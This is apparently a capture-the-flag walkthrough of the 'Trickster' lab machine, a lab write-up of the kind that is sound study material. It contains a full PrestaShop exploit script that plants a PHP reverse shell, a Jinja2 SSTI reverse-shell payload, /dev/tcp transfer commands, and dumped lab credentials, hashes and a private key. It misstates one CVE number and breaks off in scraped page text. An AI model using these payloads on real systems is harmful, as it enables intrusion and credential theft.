Page cover image

Week 8. Trickster

TL;DR

This is an Ubuntu 22.04 machine hosting an online shop made with vulnerable PrestaShop CMS (CVE-2024-34716). We exploit this to get an initial shell, then move laterally to a low-priv user after finding credentials in PHP configuration files. Regarding escalation, first we pivot to an internal host that runs a version of changedetection.io vulnerable to SSTI (CVE-2024-34716). Once we gain access to this host, we find credentials to move laterally to another user who has permissions to run as root a vulnerable PrusaSlicer 2.6.1 binary.

KEYWORDS

PrestaShop 8.1.5, CVE-2024-34716, pivoting, changedetection.io 0.45.20, CVE-2024-32651, SSTI, nuclei, brotli, PrusaSlicer 2.6.1.

REFERENCES

https://github.com/lijiejie/GitHack

https://www.cvedetails.com/cve/CVE-2024-34716/

https://github.com/aelmokhtar/CVE-2024-34716

https://www.cvedetails.com/cve/CVE-2024-32651/

https://blog.hacktivesecurity.com/index.php/2024/05/08/cve-2024-32651-server-side-template-injection-changedetection-io/

https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-32651.yaml

https://fileinfo.com/extension/br

https://www.exploit-db.com/exploits/51983

ENUMERATION

Port scan.

> nmap $target -p- --min-rate=5000 -Pn --open --reason
Starting Nmap 7.93 ( https://nmap.org ) at 2024-10-16 13:15 EDT
Nmap scan report for 10.10.11.34
Host is up, received user-set (0.040s latency).
Not shown: 59317 closed tcp ports (conn-refused), 6216 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack
80/tcp open  http    syn-ack
 
Nmap done: 1 IP address (1 host up) scanned in 13.88 seconds

Enumerate the open ports.

> nmap $target -p22,80 -sV -sC -Pn -vv -n       
Starting Nmap 7.93 ( https://nmap.org ) at 2024-10-16 13:16 EDT
Nmap scan report for 10.10.11.34
Host is up, received user-set (0.037s latency).
Scanned at 2024-10-16 13:16:39 EDT for 9s
 
PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 8c010e7bb4dab72fbb2fd3a38ca66d87 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCk493Dw3qOjrvMEEvPT6uj4aIc7vb9chLLQr0Wzjiaf8hZ1yXMO6kwPuBjNaP6GouvFd0L7UnpacFnIqkQ9GOk=
|   256 90c6f3d83f96999469fed372cbfe6cc5 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJ3pOUJRCVS6Y1fhIFs4QlMFAh2S8pCDFUCkAfaQFoJw
80/tcp open  http    syn-ack Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://trickster.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: Host: _; OS: Linux; CPE: cpe:/o:linux:linux_kernel
 
Nmap done: 1 IP address (1 host up) scanned in 9.45 seconds

Update hosts file and enumerate the site with Firefox.

If we navigate thought the web site, we find another subdomain shop.trickster.htb, that seems to have been built with PrestaShop CMS.

If we fuzz for hidden contents we find the .git folder.

> ffuf -c -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 20 -fc 404,403 -e .php,.html,.txt,.md -u http://shop.trickster.htb/FUZZ
 
        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/      
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\     
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/     
         \ \_\   \ \_\  \ \____/  \ \_\      
          \/_/    \/_/   \/___/    \/_/      
 
       v2.1.0-dev
________________________________________________
 
 :: Method           : GET
 :: URL              : http://shop.trickster.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/common.txt
 :: Extensions       : .php .html .txt .md
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 20
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 404,403
________________________________________________
 
.git                    [Status: 301, Size: 323, Words: 20, Lines: 10, Duration: 42ms]
.git/HEAD               [Status: 200, Size: 28, Words: 2, Lines: 2, Duration: 71ms]
.git/config             [Status: 200, Size: 112, Words: 11, Lines: 8, Duration: 68ms]
.git/logs/              [Status: 200, Size: 1137, Words: 77, Lines: 18, Duration: 601ms]
.git/index              [Status: 200, Size: 252177, Words: 733, Lines: 978, Duration: 39ms]
:: Progress: [23565/23565] :: Job [1/1] :: 438 req/sec :: Duration: [0:01:07] :: Errors: 0 ::

This can be downloaded with GitHack tool (https://github.com/lijiejie/GitHack) so we have a look at the structure of the .git directory.

> ls -ll
total 216
drwxr-xr-x 8 kali kali   4096 Oct 16 13:33 admin634ewutrx1jgitlooaj
-rw-r--r-- 1 kali kali   1305 Oct 16 13:34 autoload.php
-rw-r--r-- 1 kali kali   2506 Oct 16 13:34 error500.html
-rw-r--r-- 1 kali kali   1169 Oct 16 13:34 index.php
-rw-r--r-- 1 kali kali   1256 Oct 16 13:34 init.php
-rw-r--r-- 1 kali kali    522 Oct 16 13:33 Install_PrestaShop.html
-rw-r--r-- 1 kali kali   5054 Oct 16 13:33 INSTALL.txt
-rw-r--r-- 1 kali kali 183862 Oct 16 13:33 LICENSES
-rw-r--r-- 1 kali kali    863 Oct 16 13:33 Makefile

Navigate to the admin634ewutrx1jgitlooaj folder and disclose the PrestaShop version installed (8.1.5).

Look for vulnerabilities here: https://www.cvedetails.com/cve/CVE-2024-34716/, and a PoC is available here: https://github.com/aelmokhtar/CVE-2024-34716

If we run it we see it relies on ncat binary, so you may need to make a minor modification to use it with nc or whatever other tool.

> python3 exploit.py --url http://shop.trickster.htb --email aaa@aaa.com --local-ip 10.10.14.211 --admin-path admin634ewutrx1jgitlooaj
[X] Starting exploit with:
        Url: http://shop.trickster.htb
        Email: aaa@aaa.com
        Local IP: 10.10.14.211
        Admin Path: admin634ewutrx1jgitlooaj
[X] Ncat is now listening on port 12345. Press Ctrl+C to terminate.
Serving at http.Server on port 5000
Traceback (most recent call last):
  File "/home/kali/htb/trickster/shop.trickster.htb/CVE-2024-34716/exploit.py", line 150, in <module>
    main()
  File "/home/kali/htb/trickster/shop.trickster.htb/CVE-2024-34716/exploit.py", line 121, in main
    output = subprocess.call(["ncat", "-lnvp", "12345"], shell=False)
  File "/usr/lib/python3.10/subprocess.py", line 345, in call
    with Popen(*popenargs, **kwargs) as p:
  File "/usr/lib/python3.10/subprocess.py", line 969, in __init__
    self._execute_child(args, executable, preexec_fn, close_fds,
  File "/usr/lib/python3.10/subprocess.py", line 1845, in _execute_child
    raise child_exception_type(errno_num, err_msg, err_filename)
FileNotFoundError: [Errno 2] No such file or directory: 'ncat'

The source code modified to use with nc is this.

import argparse, requests, subprocess, time, threading, atexit, http.server, socketserver,zipfile,shutil,os
from bs4 import BeautifulSoup


print_lock = threading.Lock()
stop_event = threading.Event()

def __parse_args():    
    parser = argparse.ArgumentParser(description="CVE-2024-34716 Exploit")
    parser.add_argument("--url", help="The Presta Shop base url.", required=True)
    parser.add_argument("--email", help="The email address of admin user.", required=True)
    parser.add_argument("--local-ip", help="Local HTTP Server IP.", required=True)
    parser.add_argument("--admin-path", help="The Presta Shop admin path.", required=True) 
    
    args = parser.parse_args()
    
    host_url = args.url
    email = args.email
    local_ip = args.local_ip
    admin_path = args.admin_path

    print("[X] Starting exploit with:")
    print(f"\tUrl: {host_url}")
    print(f"\tEmail: {email}")
    print(f"\tLocal IP: {local_ip}")
    print(f"\tAdmin Path: {admin_path}")
                
    return (host_url, email, local_ip, admin_path)
    
    
def send_get_requests(url, interval=5):
    while not stop_event.is_set():
        try:
            response = requests.get(url)
            if response.status_code == 504 or response.status_code == 200:
                stop_event.set()
                return
            print(f"GET request to {url}: {response.status_code}")
            
        except requests.RequestException as e:
            with print_lock:
                print(f"Error during GET request: {e}") # Can comment this out if thread isn't stopped.
        time.sleep(interval)


def run_http_server():
    PORT = 5000
    with socketserver.TCPServer(("", PORT), CustomRequestHandler) as httpd:
        with print_lock:
            print("Serving at http.Server on port", PORT)
        while not stop_event.is_set():
            httpd.handle_request()
        

def main():    
    host_url, email, local_ip, admin_path = __parse_args()

    with open('./exploit.html', 'r') as file:
        html_content = file.read()

    if host_url[-1] == '/':
        host_url = host_url[:-1]

    html_content = html_content.replace("BASE_URL", f'"{host_url}"')
    html_content = html_content.replace("ATTACKER_IP", f'"{local_ip}"')
    html_content = html_content.replace("ATTACKER_PORT", "5000")
    html_content = html_content.replace("ADMIN_PATH", f'"{admin_path}"')
    html_content = html_content.replace("FILE_NAME", '"ps_next_8_theme_malicious.zip"')

    with open('./reverse_shell_template.php', 'r') as file:
        reverse_shell_content = file.read()
    
    reverse_shell_content = reverse_shell_content.replace("ATTACKER_IP", f'"{local_ip}"')
    reverse_shell_content = reverse_shell_content.replace("ATTACKER_PORT", "12345")

    with open('./reverse_shell.php', 'w') as file:
        file.write(reverse_shell_content)
    
    shutil.copy('ps_next_8_theme_malicious_old.zip', 'ps_next_8_theme_malicious.zip')
    with zipfile.ZipFile('ps_next_8_theme_malicious.zip', 'a') as zipf:
        zipf.write('reverse_shell.php','reverse_shell_new.php')

    url = f"{host_url}/contact-us"

    response = requests.get(url)
    response.raise_for_status()

    soup = BeautifulSoup(response.text, 'html.parser')
    token = soup.find('input', {'name': 'token'})['value']
    cookies = response.cookies

    files = {
        'fileUpload': ('test.png', html_content, 'image/png'),
    }

    data = {
        'id_contact': '2',
        'from': email,
        'message': 'pwned',
        'url': '',
        'token': token,
        'submitMessage': 'Send'
    }

    response = requests.post(url, files=files, data=data, cookies=cookies)
    url = f"{host_url}/themes/next/reverse_shell_new.php"

    req_thread = threading.Thread(target=send_get_requests, args=(url, 15,))
    req_thread.daemon = True
    req_thread.start()
    
    server_thread = threading.Thread(target=run_http_server)
    server_thread.daemon = True
    server_thread.start()

    if response.status_code == 200:
        print(f"[X] nc is now listening on port 12345. Press Ctrl+C to terminate.")
        
        output = subprocess.call(["nc", "-lnvp", "12345"], shell=False)
        if b"Ncat: Connection from " in output:
            with print_lock:
                print("Stopping threads!")
            stop_event.set()
        else:
            print(f"DEBUG:: {output}")
    else:
        print(f"[!] Failed to send the message. Status code: {response.status_code} Reason: {response.reason}")


def clean():
    if os.path.exists('ps_next_8_theme_malicious.zip'):
        os.remove('ps_next_8_theme_malicious.zip')
    if os.path.exists('reverse_shell.php'):
        os.remove('reverse_shell.php')

class CustomRequestHandler(http.server.SimpleHTTPRequestHandler):
    def log_request(self, code='-', size='-'):
        with print_lock:
            print(f"Request: {self.command} {self.path} {self.request_version}")
            print(f"Response: {code} {size}")
        super().log_request(code, size)



if __name__ == "__main__":
    clean()
    atexit.register(clean)
    main()

It provides a reverse shell as user www-data

> python3 exploit.py --url http://shop.trickster.htb --email aaa@aaa.com --local-ip 10.10.14.211 --admin-path admin634ewutrx1jgitlooaj

Under www-data permissions are usually restricted, a good idea is always to find credentials in PHP configuration files.

> cat /var/www/prestashop/app/config/parameters.php
<?php return array (
  'parameters' =>
  array (
    'database_host' => '127.0.0.1',
    'database_port' => '',
    'database_name' => 'prestashop',
    'database_user' => 'ps_user',
    'database_password' => 'prest@shop_o',
    'database_prefix' => 'ps_',
    'database_engine' => 'InnoDB',
    'mailer_transport' => 'smtp',
    'mailer_host' => '127.0.0.1',
    'mailer_user' => NULL,
    'mailer_password' => NULL,
    'secret' => 'eHPDO7bBZPjXWbv3oSLIpkn5XxPvcvzt7ibaHTgWhTBM3e7S9kbeB1TPemtIgzog',
    'ps_caching' => 'CacheMemcache',
    'ps_cache_enable' => false,
    'ps_creation_date' => '2024-05-25',
    'locale' => 'en-US',
    'use_debug_toolbar' => true,
    'cookie_key' => '8PR6s1SJZLPCjXTegH7fXttSAXbG2h6wfCD3cLk5GpvkGAZ4K9hMXpxBxrf7s42i',
    'cookie_iv' => 'fQoIWUoOLU0hiM2VmI1KPY61DtUsUx8g',
    'new_cookie_key' => 'def000001a30bb7f2f22b0a7790f2268f8c634898e0e1d32444c3a03f4040bd5e8cb44bdb57a73f70e01cf83a38ec5d2ddc1741476e83c45f97f763e7491cc5e002aff47',
    'api_public_key' => '-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuSFQP3xrZccKbS/VGKMr
v8dF4IJh9F9NvmPZqiFNpJnBHhfWE3YVM/OrEREGKztkHFsQGUZXFIwiBQVs5kAG
5jfw+hQrl89+JRD0ogZ+OHUfN/CgmM2eq1H/gxAYfcRfwjSlOh2YzAwpLvwtYXBt
Scu6QqRAdotokqW2m3aMt+LV8ERdFsBkj+/OVdJ8oslvSt6Kgf39DnBpGIXAqaFc
QdMdq+1lT9oiby0exyUkl6aJU21STFZ7kCf0Secp2f9NoaKoBwC9m707C2UCNkAm
B2A2wxf88BDC7CtwazwDW9QXdF987RUzGj9UrEWwTwYEcJcV/hNB473bcytaJvY1
ZQIDAQAB
-----END PUBLIC KEY-----
',
    'api_private_key' => '-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC5IVA/fGtlxwpt
L9UYoyu/x0XggmH0X02+Y9mqIU2kmcEeF9YTdhUz86sREQYrO2QcWxAZRlcUjCIF
BWzmQAbmN/D6FCuXz34lEPSiBn44dR838KCYzZ6rUf+DEBh9xF/CNKU6HZjMDCku
/C1hcG1Jy7pCpEB2i2iSpbabdoy34tXwRF0WwGSP785V0nyiyW9K3oqB/f0OcGkY
hcCpoVxB0x2r7WVP2iJvLR7HJSSXpolTbVJMVnuQJ/RJ5ynZ/02hoqgHAL2bvTsL
ZQI2QCYHYDbDF/zwEMLsK3BrPANb1Bd0X3ztFTMaP1SsRbBPBgRwlxX+E0Hjvdtz
K1om9jVlAgMBAAECggEAD5CTdKL7TJVNdRyeZ/HgDcGtSFDt92PD34v5kuo14u7i
Y6tRXlWBNtr3uPmbcSsPIasuUVGupJWbjpyEKV+ctOJjKkNj3uGdE3S3fJ/bINgI
BeX/OpmfC3xbZSOHS5ulCWjvs1EltZIYLFEbZ6PSLHAqesvgd5cE9b9k+PEgp50Q
DivaH4PxfI7IKLlcWiq2mBrYwsWHIlcaN0Ys7h0RYn7OjhrPr8V/LyJLIlapBeQV
Geq6MswRO6OXfLs4Rzuw17S9nQ0PDi4OqsG6I2tm4Puq4kB5CzqQ8WfsMiz6zFU/
UIHnnv9jrqfHGYoq9g5rQWKyjxMTlKA8PnMiKzssiQKBgQDeamSzzG6fdtSlK8zC
TXHpssVQjbw9aIQYX6YaiApvsi8a6V5E8IesHqDnS+s+9vjrHew4rZ6Uy0uV9p2P
MAi3gd1Gl9mBQd36Dp53AWik29cxKPdvj92ZBiygtRgTyxWHQ7E6WwxeNUWwMR/i
4XoaSFyWK7v5Aoa59ECduzJm1wKBgQDVFaDVFgBS36r4fvmw4JUYAEo/u6do3Xq9
JQRALrEO9mdIsBjYs9N8gte/9FAijxCIprDzFFhgUxYFSoUexyRkt7fAsFpuSRgs
+Ksu4bKxkIQaa5pn2WNh1rdHq06KryC0iLbNii6eiHMyIDYKX9KpByaGDtmfrsRs
uxD9umhKIwKBgECAXl/+Q36feZ/FCga3ave5TpvD3vl4HAbthkBff5dQ93Q4hYw8
rTvvTf6F9900xo95CA6P21OPeYYuFRd3eK+vS7qzQvLHZValcrNUh0J4NvocxVVn
RX6hWcPpgOgMl1u49+bSjM2taV5lgLfNaBnDLoamfEcEwomfGjYkGcPVAoGBAILy
1rL84VgMslIiHipP6fAlBXwjQ19TdMFWRUV4LEFotdJavfo2kMpc0l/ZsYF7cAq6
fdX0c9dGWCsKP8LJWRk4OgmFlx1deCjy7KhT9W/fwv9Fj08wrj2LKXk20n6x3yRz
O/wWZk3wxvJQD0XS23Aav9b0u1LBoV68m1WCP+MHAoGBANwjGWnrY6TexCRzKdOQ
K/cEIFYczJn7IB/zbB1SEC19vRT5ps89Z25BOu/hCVRhVg9bb5QslLSGNPlmuEpo
HfSWR+q1UdaEfABY59ZsFSuhbqvC5gvRZVQ55bPLuja5mc/VvPIGT/BGY7lAdEbK
6SMIa53I2hJz4IMK4vc2Ssqq
-----END PRIVATE KEY-----
',
  ),
);

Use ps_employee credentials to login into MySQL prestashop database. For this you need to have a full interactive shell first.

Now you can connect to database and dump the hashes.

> mysql -h localhost -u ps_user -pprest@shop_o prestashop
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 2956
Server version: 10.6.18-MariaDB-0ubuntu0.22.04.1 Ubuntu 22.04
 
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
 
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
 
MariaDB [prestashop]> show tables;
+-------------------------------------------------+
| Tables_in_prestashop                            |
+-------------------------------------------------+
| ps_access                                       |
| ps_accessory                                    |
| ps_address                                      |
| ps_address_format                               |
| ps_admin_filter                                 |
| ps_alias                                        |
[...]
| ps_date_range                                   |
| ps_delivery                                     |
| ps_emailsubscription                            |
| ps_employee                                     |
| ps_employee_session                             |
| ps_employee_shop                                |
[...]
| ps_wishlist_product_cart                        |
| ps_zone                                         |
| ps_zone_shop                                    |
+-------------------------------------------------+
276 rows in set (0.002 sec)
 
MariaDB [prestashop]> select * from ps_employee;
+-------------+------------+---------+----------+-----------+---------------------+--------------------------------------------------------------+---------------------+-----------------+---------------+--------------------+------------------+----------------------+----------------------+----------+----------+-----------+-------------+----------+---------+--------+-------+---------------+--------------------------+------------------+----------------------+----------------------+-------------------------+----------------------+
| id_employee | id_profile | id_lang | lastname | firstname | email               | passwd                                                       | last_passwd_gen     | stats_date_from | stats_date_to | stats_compare_from | stats_compare_to | stats_compare_option | preselect_date_range | bo_color | bo_theme | bo_css    | default_tab | bo_width | bo_menu | active | optin | id_last_order | id_last_customer_message | id_last_customer | last_connection_date | reset_password_token | reset_password_validity | has_enabled_gravatar |
+-------------+------------+---------+----------+-----------+---------------------+--------------------------------------------------------------+---------------------+-----------------+---------------+--------------------+------------------+----------------------+----------------------+----------+----------+-----------+-------------+----------+---------+--------+-------+---------------+--------------------------+------------------+----------------------+----------------------+-------------------------+----------------------+
|           1 |          1 |       1 | Store    | Trickster | admin@trickster.htb | $2y$10$P8wO3jruKKpvKRgWP6o7o.rojbDoABG9StPUt0dR7LIeK26RdlB/C | 2024-05-25 13:10:20 | 2024-04-25      | 2024-05-25    | 0000-00-00         | 0000-00-00       |                    1 | NULL                 | NULL     | default  | theme.css |           1 |        0 |       1 |      1 |  NULL |             5 |                        0 |                0 | 2024-10-16           | NULL                 | 0000-00-00 00:00:00     |                    0 |
|           2 |          2 |       0 | james    | james     | james@trickster.htb | $2a$04$rgBYAsSHUVK3RZKfwbYY9OPJyBbt/OzGw9UHi4UnlK6yG5LyunCmm | 2024-09-09 13:22:42 | NULL            | NULL          | NULL               | NULL             |                    1 | NULL                 | NULL     | NULL     | NULL      |           0 |        0 |       1 |      0 |  NULL |             0 |                        0 |                0 | NULL                 | NULL                 | NULL                    |                    0 |
+-------------+------------+---------+----------+-----------+---------------------+--------------------------------------------------------------+---------------------+-----------------+---------------+--------------------+------------------+----------------------+----------------------+----------+----------+-----------+-------------+----------+---------+--------+-------+---------------+--------------------------+------------------+----------------------+----------------------+-------------------------+----------------------+
2 rows in set (0.000 sec)

Crack james hash (module 3200), then SSH in and collect the user flag.

ROOT

Start from shell as user james and take the opportunity to enumerate the user and the system.

> whoami && id
james
uid=1000(james) gid=1000(james) groups=1000(james)
 
> uname -a && cat /etc/os-release
Linux trickster 5.15.0-121-generic #131-Ubuntu SMP Fri Aug 9 08:29:53 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
PRETTY_NAME="Ubuntu 22.04.5 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.5 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy

Enumerate the network config, another docker0 network interface shows up.

> ifconfig
docker0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.17.0.1  netmask 255.255.0.0  broadcast 172.17.255.255
        ether 02:42:c4:b5:e5:bb  txqueuelen 0  (Ethernet)
        RX packets 66  bytes 3880 (3.8 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 28  bytes 2334 (2.3 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.10.11.34  netmask 255.255.254.0  broadcast 10.10.11.255
        ether 00:50:56:94:e5:fd  txqueuelen 1000  (Ethernet)
        RX packets 214160  bytes 41741950 (41.7 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 212680  bytes 100387104 (100.3 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 386954  bytes 606742410 (606.7 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 386954  bytes 606742410 (606.7 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
veth85f1e4d: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        ether ce:75:fe:f7:b1:40  txqueuelen 0  (Ethernet)
        RX packets 5  bytes 354 (354.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 1  bytes 42 (42.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Now upload a copy of nmap64 (standalone binary or source code) and scan the 172.17.0.0/24 network.

A host with IP address 172.17.0.2 shows up. Let's launch a port scan on it.

Port 5000 appears open. We need a local port forwarding, using the compromised host as a pivot, to reach this port.

> ssh -L 5000:172.17.0.2:5000 james@trickster.htb

Once the port is forwarded it is possible to browse the site locally with Firefox, use the james password to login.

A changedetection.io web page appears. This application allows the user to track changes in websites, it can monitor modifications on web sites and send a notification. It is useful for being notified on changes for news articles, product updates, or any other online content. And also it seems certain versions are vulnerable to SSTI: https://www.cvedetails.com/cve/CVE-2024-32651/. A PoC for this vulnerability is available here:https://blog.hacktivesecurity.com/index.php/2024/05/08/cve-2024-32651-server-side-template-injection-changedetection-io/

Let's follow the indicated procedure. First check with nuclei if the application is vulnerable. Download the template here:https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-32651.yaml

id: CVE-2024-32651
 
info:
  name: Change Detection - Server Side Template Injection
  author: edoardottt
  severity: critical
  description: |
    A Server Side Template Injection in changedetection.io caused by usage of unsafe functions of Jinja2 allows Remote Command Execution on the server host.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-32651
    - https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-4r7v-whpg-8rx3
    - https://github.com/dgtlmoon/changedetection.io/releases/tag/0.45.21
    - https://www.onsecurity.io/blog/server-side-template-injection-with-jinja2
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2024-32651
    cwe-id: CWE-1336
    epss-score: 0.00065
    epss-percentile: 0.28259
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"Change Detection"
  tags: cve,cve2024,changedetection,ssti,rce,passive
 
http:
  - method: GET
    path:
      - "{{RootURL}}/"
 
    redirects: true
    max-redirects: 2
 
    extractors:
      - type: xpath
        name: version
        internal: true
        xpath:
          - "//*[@id=\"right-sticky\"]"
 
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
 
      - type: word
        part: body
        words:
          - "Change Detection"
        condition: and
 
      - type: dsl
        dsl:
          - compare_versions(version, '<= 0.45.20')
# digest: 4b0a00483046022100fababded42d7a17ed446608da54c1802c86f5ad0eff6a4f9f9c6299a3d4e0f9e022100843a8f54563f6dd62aa6d9d160e9ad7f886f39d623887bca9819f2e2fbb93ce4:922c64590222798bb761d5b6d8e72950

Then run it with nuclei

> /opt/nuclei/nuclei -u http://localhost:5000 -t ./template.yaml

The application is found vulnerable.

If you analyze the template, it just checks the value of right-sticky tag in the web site root source code and compares it with the actual vulnerable version.

Once the vulnerability is confirmed, let's proceed exploiting it.

Start a local server to capture the application requests, then enter our own machine IP in the detection menu and click "Watch" to add it.

Click on "Edit" to configure the detection watch. First we configure the frequency we want our server checked.

Next we click on "Notifications" tab, enter the URL to be used for the reports in the format gets://10.10.xxx.xxx, and our favorite jinja2-based SSTI reverse shell payload.

This payload worked.

{{ self.init.globals.builtins.import('os').system('python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.xxx.xxx",1919));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'') }}

Click on "Save", we notice an initial request is received on our local HTTP server. The application is requesting the index.html file and starting to detect modifications.

> php -S 0.0.0.0:80
[Thu Oct 17 09:59:14 2024] PHP 7.4.15 Development Server (http://0.0.0.0:80) started
[Thu Oct 17 10:01:15 2024] 10.10.11.34:41490 Accepted
[Thu Oct 17 10:01:15 2024] 10.10.11.34:41490 [200]: (null) /index.html
[Thu Oct 17 10:01:15 2024] 10.10.11.34:41490 Closing

It will check and notify every 30 seconds for changes in the index.html page. To send the reverse shell we have to make changes in the index.html file served on our local HTTP server and wait some seconds till the application detects the change and executes the payload (or just click on "Recheck" if we don't want to wait).

When the application notices the web site has changed, a request is received on our HTTP server and then a reverse shell is received on port 1919.

The web application is being run in a container, meaning you have root shell in the container (172.17.0.2), not in the Trickster machine (172.17.0.1).

Looking for ways to escape the container or move laterally, we find database backups in the path /datastore/Backups/. We find two ZIP files: /changedetection-backup-20240830202524.zip and /changedetection-backup-20240830194841.zip

Let's transfer them outside of the container (172.17.0.2) towards the james SSH shell (172.17.0.1). Start a listener on port 7000 on james shell, then send the files from the container.

> cat changedetection-backup-20240830202524.zip > /dev/tcp/172.17.0.1/7000
> cat changedetection-backup-20240830194841.zip > /dev/tcp/172.17.0.1/7000

The files are received on james shell.

Inside the ZIP files we find two .txt.br files which are files compressed with brotli https://fileinfo.com/extension/br

Install brotli and uncompress the files.

> brotli -d *.br

We retrieve a TXT file that contains adam database credentials.

This website requires JavaScript.
    Explore Help
    Register Sign In
                james/prestashop
              Watch 1
              Star 0
              Fork 0
                You've already forked prestashop
          Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity
                main
          prestashop / app / config / parameters.php
            james 8ee5eaf0bb prestashop
            2024-08-30 20:35:25 +01:00
 
              64 lines
              3.1 KiB
              PHP
 
            Raw Permalink Blame History
 
                < ? php return array (                                                                                                                                 
                'parameters' =>                                                                                                                                       
                array (                                                                                                                                                
                'database_host' => '127.0.0.1' ,                                                                                                                       
                'database_port' => '' ,                                                                                                                               
                'database_name' => 'prestashop' ,                                                                                                                     
                'database_user' => 'adam' ,                                                                                                                            
                'database_password' => 'adam_admin992' ,                                                                                                              
                'database_prefix' => 'ps_' ,                                                                                                                           
                'database_engine' => 'InnoDB' ,                                                                                                                       
                'mailer_transport' => 'smtp' ,                                                                                                                         
                'mailer_host' => '127.0.0.1' ,                                                                                                                        
                'mailer_user' => NULL ,                                                                                                                               
                'mailer_password' => NULL ,                                                                                                                            
                'secret' => 'eHPDO7bBZPjXWbv3oSLIpkn5XxPvcvzt7ibaHTgWhTBM3e7S9kbeB1TPemtIgzog' ,                                                                      
                'ps_caching' => 'CacheMemcache' ,                                                                                                                     
                'ps_cache_enable' => false ,                                                                                                                           
                'ps_creation_date' => '2024-05-25' ,                                                                                                                  
                'locale' => 'en-US' ,                                                                                                                                 
                'use_debug_toolbar' => true ,                                                                                                                          
                'cookie_key' => '8PR6s1SCD3cLk5GpvkGAZ4K9hMXpx2h6wfCD3cLk5GpvkGAZ4K9hMXpxBxrf7s42i' ,                                                                 
                'cookie_iv' => 'fQoIWUoOLU0hiM2VmI1KPY61DtUsUx8g' ,                                                                                                   
                'new_cookie_key' => 'def000001a30bb7f2f22b0a7790f2268f8c634898e0e1d32444c3a03fbb7f2fb57a73f70e01cf83a38ec5d2ddc1741476e83c45f97f763e7491cc5e002aff47' ,
                'api_public_key' => '-----BEGIN PUBLIC KEY-----                                                                                                       
                MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuSFQP3xrZccKbS/VGKMr                                                                                      
                v8dF4IJh9F9NvmPZqiFNpJnBHhfWE3YVM/OrEREGKztkHFsQGUZXFIwiBQVs5kAG                                                                                       
                5jfw+hQrl89+JRD0ogZ+OHUfN/CgmM2eq1H/gxAYfcRfwjSlOh2YzAwpLvwtYXBt                                                                                      
                Scu6QqRAdotokqW2meozijOIJFPFPkpoFKPdVdJ8oslvSt6Kgf39DnBpGIXAqaFc                                                                                      
                QdMdq+1lT9oiby0exyUkl6aJU21STFZ7kCf0Secp2f9NoaKoBwC9m707C2UCNkAm                                                                                       
                B2A2wxf88BDC7CtwazwDW9QXdF987RUzGj9UrEWwTwYEcJcV/hNB473bcytaJvY1                                                                                      
                ZQIDAQAB                                                                                                                                               
